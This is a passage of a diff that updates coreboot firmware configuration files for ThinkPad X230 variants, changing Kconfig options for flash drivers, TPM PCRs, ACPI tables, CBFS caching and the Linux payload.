-CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -284,12 +293,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -332,7 +340,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -371,9 +378,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -383,6 +391,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -408,8 +417,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set @@ -428,10 +436,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -442,21 +446,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -473,9 +474,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -485,6 +489,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -518,7 +523,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -538,6 +548,9 @@ CONFIG_BOOTMEDIA_LOCK_NONE=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -583,6 +596,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -598,13 +612,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -629,6 +642,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -642,7 +659,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_RESOURCES is not set # CONFIG_DEBUG_CONSOLE_INIT is not set @@ -650,6 +666,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_FUNC is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index 76b49c6eb..569fc1584 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y @@ -65,6 +66,7 @@ CONFIG_FW_CONFIG_SOURCE_CBFS=y # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -78,7 +80,9 @@ CONFIG_FW_CONFIG_SOURCE_CBFS=y # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -96,7 +100,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -122,7 +125,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="x230" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -135,13 +137,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -149,6 +151,10 @@ CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y # CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" # CONFIG_HAVE_IFD_BIN is not set CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -196,9 +202,12 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -243,27 +252,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -284,12 +293,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -332,7 +340,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -371,9 +378,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -383,6 +391,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -408,8 +417,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set @@ -428,10 +436,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -442,21 +446,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -473,9 +474,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -485,6 +489,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -518,7 +523,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -539,6 +549,9 @@ CONFIG_BOOTMEDIA_LOCK_NONE=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -584,6 +597,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -599,13 +613,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -630,6 +643,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -643,12 +660,12 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-x230-maximized-fhd_edp.config b/config/coreboot-x230-maximized-fhd_edp.config index 251d206ee..e91f9ea76 100644 --- a/config/coreboot-x230-maximized-fhd_edp.config +++ b/config/coreboot-x230-maximized-fhd_edp.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y @@ -64,6 +65,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -77,7 +79,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -95,7 +99,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,7 +124,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="x230" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -134,13 +136,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -151,6 +153,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -198,9 +204,13 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0020" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -245,27 +255,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 